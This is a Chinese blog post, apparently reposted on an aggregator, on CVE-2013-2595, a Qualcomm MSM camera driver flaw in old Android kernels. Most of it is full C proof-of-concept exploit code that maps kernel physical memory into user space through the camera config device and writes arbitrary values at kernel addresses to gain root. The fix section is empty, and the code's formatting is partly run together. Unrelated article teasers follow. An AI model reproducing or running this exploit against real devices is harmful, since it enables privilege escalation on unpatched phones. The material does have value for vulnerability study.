Uncontrolled memory mapping in camera driver (CVE-2013-2595)

版权声明:本文为博主原创文章,未经博主同意不得转载。

https://blog.csdn.net/hu3167343/article/details/34434235

/*

本文章由 莫灰灰 编写,转载请注明出处。  

作者:莫灰灰    邮箱: minzhenfei@163.com

*/


1漏洞描写叙述

漏洞的产生主要是由于摄像头驱动提供了几个用于用户空间调用的接口。

用户空间能够使用诸如ioctl或者mmap这种系统调用函数就能对摄像头驱动产生影响。

黑客能够非常easy的使用事先构造好的參数将物理内存map到用户空间,并提升权限。



2.影响设备

绝大多数使用2013年5月1日之前的Linux内核安卓系统


3.PoC

/*** This program is free software: you can redistribute it and/or modify* it under the terms of the GNU General Public License as published by* the Free Software Foundation, either version 3 of the License, or* (at your option) any later version.** This program is distributed in the hope that it will be useful,* but WITHOUT ANY WARRANTY; without even the implied warranty of* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the* GNU General Public License for more details.** You should have received a copy of the GNU General Public License* along with this program.  If not, see <http://www.gnu.org/licenses/>.**/#include <stdint.h>
#include <stdio.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <linux/fb.h>
#include <string.h>#include "msm_cameraconfig.h"#define MSM_CAM_IOCTL_MAGIC 'm'struct msm_mem_map_info {uint32_t cookie;uint32_t length;uint32_t mem_type;
};#define MSM_CAM_IOCTL_SET_MEM_MAP_INFO \_IOR(MSM_CAM_IOCTL_MAGIC, 41, struct msm_mem_map_info *)#define MSM_MEM_MMAP 0#define KERNEL_VIRT_ADDRESS     0xc0000000
#define MAPPED_BASE             0x20000000
#define KERNEL_SIZE             0x02000000static bool kernel_phys_offset_initialized = false;
static unsigned long kernel_phys_offset = 0;static int
get_cpu_implementer(void)
{FILE *fp;char name[BUFSIZ];char value[BUFSIZ];int ret;long int implementer = 0;fp = fopen("/proc/cpuinfo", "r");if (!fp) {printf("Failed to open /proc/cpuinfo due to %s.", strerror(errno));return 0;}while ((ret = fscanf(fp, "%[^:]: %[^\n]\n", name, value)) != EOF) {if (!strncmp(name, "CPU implementer", 15)) {implementer = strtol(value, NULL, 16);break;}}fclose(fp);return implementer;
}static unsigned long int
detect_kernel_phys_address_from_cpuinfo(void)
{int implementer;implementer = get_cpu_implementer();switch (implementer) {case 'Q':   // 0x51return 0x80200000;  }return 0x80000000;
}static unsigned long int
get_system_ram_address_from_iomem(void)
{FILE *fp;char name[BUFSIZ];void *start_address, *end_address;void *system_ram_address = NULL;int ret;fp = fopen("/proc/iomem", "r");if (!fp) {printf("Failed to open /proc/iomem due to %s.\n", strerror(errno));return false;}while ((ret = fscanf(fp, "%p-%p : %[^\n]", &start_address, &end_address, name)) != EOF) {if (!strcmp(name, "System RAM")) {system_ram_address = start_address;continue;}if (!strncmp(name, "Kernel", 6)) {break;}}fclose(fp);return (unsigned long int)system_ram_address;
}static bool
detect_kernel_phys_parameters(void)
{unsigned long int system_ram_address;system_ram_address = get_system_ram_address_from_iomem();if (!system_ram_address) {system_ram_address = detect_kernel_phys_address_from_cpuinfo();}kernel_phys_offset_initialized = true;kernel_phys_offset = system_ram_address;return true;
}void *
msm_cameraconfig_convert_to_mmaped_address(void *address, void *mmap_base_address)
{return mmap_base_address + (uint32_t)address - KERNEL_VIRT_ADDRESS;
}bool
msm_cameraconfig_write_value_at_address(unsigned long int address, int value)
{void *mmap_address = NULL;int *write_address;int fd_video;int fd_config;mmap_address = msm_cameraconfig_mmap(&fd_video, &fd_config);if (mmap_address == MAP_FAILED) {return false;}write_address = msm_cameraconfig_convert_to_mmaped_address((void*)address, mmap_address);*write_address = value;msm_cameraconfig_munmap(mmap_address, fd_video, fd_config);return true;
}bool
msm_cameraconfig_run_exploit(bool(*exploit_callback)(void *mmap_base_address, void *user_data),void *user_data)
{void *mapped_address = NULL;int fd_video;int fd_config;bool success;mapped_address = msm_cameraconfig_mmap(&fd_video, &fd_config);if (mapped_address == MAP_FAILED) {return false;}success = exploit_callback(mapped_address, user_data);msm_cameraconfig_munmap(mapped_address, fd_video, fd_config);return success;
}void
msm_cameraconfig_set_kernel_phys_offset(int offset)
{kernel_phys_offset_initialized = true;kernel_phys_offset = offset;
}void *
msm_cameraconfig_mmap(int *fd_video, int *fd_config)
{struct msm_mem_map_info args;void *mapped_address;if (!kernel_phys_offset_initialized && !detect_kernel_phys_parameters()) {printf("This machine can not use msm_cameraconfig exploit.\n");return MAP_FAILED;}*fd_video = open("/dev/video0", O_RDWR);if (*fd_video < 0) {goto error_exit;}*fd_config = open("/dev/msm_camera/config0", O_RDWR);if (*fd_config < 0) {goto error_exit;}args.cookie = kernel_phys_offset;args.length = KERNEL_SIZE;args.mem_type = MSM_MEM_MMAP;if (ioctl(*fd_config, MSM_CAM_IOCTL_SET_MEM_MAP_INFO, &args) < 0) {goto error_exit;}mapped_address = mmap((void *)MAPPED_BASE, KERNEL_SIZE, PROT_READ | PROT_WRITE,MAP_SHARED, *fd_config, kernel_phys_offset);if (mapped_address == MAP_FAILED) {goto error_exit;}return mapped_address;error_exit:if (*fd_config >= 0) {close(*fd_config);*fd_config = -1;}if (*fd_video >= 0) {close(*fd_video);*fd_video = -1;}return MAP_FAILED;
}int
msm_cameraconfig_munmap(void *address, int fd_video, int fd_config)
{if (address != MAP_FAILED) {int ret;ret = munmap(address, KERNEL_SIZE);if (ret < 0) {printf("Failed to munmap due to %s\n", strerror(errno));return ret;}}close(fd_config);close(fd_video);return 0;
}

4.漏洞修复



5.总结

1.漏洞的利用事实上和Root exploit on Exynos(CVE-2012-6422)差点儿相同,仅仅是map物理内存的方法不同罢了。

2.其次。这个漏洞的补丁也非常奇特。仅仅是简单的把相关漏洞代码删掉了。预计是胡乱抄代码模板导致的漏洞,哈哈。


转载于:https://www.cnblogs.com/xfgnongmin/p/10620605.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/248245.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

表格隔行变色

<body><table border"0" align"center" cellspacing"1" cellpadding"0"><caption>恭喜发财</caption><thead><tr><th>代码</th><th>名称</th><th>最新公布净值<…

项目管理的测试版发布

最近有时间将以前没有写完的项目管理程序进一步完善&#xff0c;加入了项目任务之间的关连。功能&#xff1a;1、任务的关连Start to finishStart to startFinish to startFinish to finish2、任务关连表环路检测3、采用MVC模式进行开发4、自动导出XML5、双击连接线可以设置、删…

Tab栏切换布局分析

<body><div class"tab"><div class"tab_list"><ul><li class"current">商品介绍</li><li>规格与包装</li><li>售后包装</li><li>商品评价(50000)</li><li>手机社…

CLR基础,CLR运行过程,使用dos命令创建、编译、运行C#文件,查看IL代码

CLR是Common Language Runtime的缩写&#xff0c;是.NET程序集或可执行程序运行的一个虚拟环境。CLR用于管理托管代码&#xff0c;但是它本身是由非托管代码编写的&#xff0c;并不是一个包含了托管代码的程序集&#xff0c;所以不能使用IL DASM进行查看&#xff0c;但CLR以dll…

表单的全选取消全选

<div class"wrap"><table border"1" cellspacing"0" cellpadding"0"><caption>恭喜发财</caption><thead><tr><th><input type"checkbox" id"j_cbAll" checked&quo…

HDU 4339 Query

算法: 比赛时没有想到好的算法&#xff0c;暴力是O&#xff08; Q * N &#xff09;肯定超时。 赛后&#xff0c;线段树&#xff0c;树状数组&#xff0c;HASH都能AC&#xff0c;想了下&#xff0c;的确用树状数组 时间复杂度就可以优化到O&#xff08;Q * lgN * lgN) 2000msAC…

201904快速阅读术

在看过了几本数之后&#xff0c;发现原来培养读书的习惯好像也不太难&#xff0c;“将读书融入生活&#xff0c;框定读书时间” 生活中&#xff0c;我确实也是这样执行了。利用每天上下班的时间听书&#xff0c;有些觉得可以读快的书籍用了1.5倍速度在听&#xff0c;难懂的部分…

最简方式 表格编辑 基于 el-table

共下面5点1.新增一个显示和隐藏的参数2.在显示那边新增一个input框&#xff0c;用v-model绑定数据&#xff0c;用v-if来显示和隐藏3.给之前的显示的span标签添加v-else 和上面形成if else4.编辑和保存按钮同理&#xff0c;然后编辑按钮触发的任务将所有输入打开。即seen置为tru…

Spring Boot 自动配置原理

自动配置原理配置文件到底能写什么&#xff1f;怎么写&#xff1f;自动配置原理&#xff1b; 参考&#xff1a;https://docs.spring.io/spring-boot/docs/1.5.9.RELEASE/reference/htmlsingle/#common-application-properties配置文件能配置的属性参照1、自动配置原理&#xff…

C#Socket编程详解(一)TCP与UDP简介

一、TCP与UDP&#xff08;转载&#xff09; 1、TCP 1.1 定义 TCP&#xff08;TransmissionControl Protocol&#xff09;传输控制协议。 是一种可靠的、面向连接的协议&#xff08;eg:打电话&#xff09;、传输效率低全双工通信&#xff08;发送缓存&接收缓存&#xff09;、…

动态创建表格数据

<input type"button" value"创建"><style>*{margin: 0;padding: 0;}table{width: 980px;margin: 50px auto;}table,th,tr,td{text-align: center;border: 1px solid #ccc;}</style><script>var heads [姓名, 年龄, 性别, 学号, 薪…

第四节:EF Core的并发处理

1.说明 和EF版本的并发处理方案一致&#xff0c;需要知道乐观并发和悲观并发的区别&#xff0c;EF Core只支持乐观并发&#xff1b;监控并发的两种方案&#xff1a;监测单个字段和监测整条数据&#xff0c;DataAnnotations 和 FluentApi的两种配置方式。 &#xff08;PS&#x…

JS中的prototype

JS中的phototype是JS中比较难理解的一个部分(转自出处&#xff1a;&#xff08;http://www.cnblogs.com/yjf512/&#xff09;) 本文基于下面几个知识点: 1 原型法设计模式 在.Net中可以使用clone()来实现原型法 原型法的主要思想是&#xff0c;现在有1个类A,我想要创建一个类B,…

微博发布案例

推荐在写动态生成标签数据的时候&#xff0c;提前写一遍htmlcss的结构&#xff0c;方便提供写照模板 <div class"box"><!-- 顶部搜索框 --><div class"inputBox"><textarea maxlength"200"></textarea></div&…

1.3 Go语言基础之数据类型

Go语言中有丰富的数据类型&#xff0c;除了基本的整型、浮点型、布尔型、字符串外&#xff0c;还有数组、切片、结构体、函数、map、通道&#xff08;channel&#xff09;等。Go 语言的基本类型和其他语言大同小异。 一、整型 1.1 基本类型 整型分为以下两个大类&#xff1a; 按…

【网络安全】关于ARP攻击的原理以及在Kali Linux环境下的实现

转自&#xff1a;https://www.cnblogs.com/rebrust/p/6096101.html 全文摘要 本文讲述内容分为两部分&#xff0c;前半部分讲述ARP协议及ARP攻击原理&#xff0c;后半部分讲述在Kali Linux环境下如何实现ARP攻击以及ARP欺骗&#xff0c;如果对于ARP攻击的背景和原理不感兴趣的话…

动态创建英雄图片

推荐在写动态生成标签数据的时候&#xff0c;提前写一遍htmlcss的结构&#xff0c;方便提供写照模板 <input type"button" value"按钮"><style type"text/css">* {margin: 0;padding: 0;list-style: none;}ul {width: 600px;margin…

第五节:EF Core中的三类事务(SaveChanges、DbContextTransaction、TransactionScope)

一. 说明 EF版本的事务介绍详见&#xff1a; 第七节: EF的三种事务的应用场景和各自注意的问题(SaveChanges、DBContextTransaction、TransactionScope)。 本节主要介绍EF Core下的三种事务的用法和各自的使用场景&#xff0c;其中SaveChanges和DBContextTransaction事务与EF版…

教你简单理解分布式与传统单体架构的区别

教你简单理解分布式与传统单体架构的区别 原文:教你简单理解分布式与传统单体架构的区别分布式是一种系统架构方式&#xff0c;而在分布式系统中一般基于中间件进行开发&#xff0c;消息中间件是分布式系统中比较核心的中间件之一。这三样东西随便拿出一个来都可能要说上半天&a…

js(Dom+Bom)第五天(1)

JavaScript BOM介绍 概念 BOM&#xff08;Browser Object Model&#xff09;即浏览器对象模型。 本质&#xff1a; 通过对象抽象浏览器中的一些功能 例如&#xff1a;&#xff08;刷新页面&#xff0c;alert,confirm,pormpt,跳转 ...&#xff09;BOM顶级对象 window对象是js中…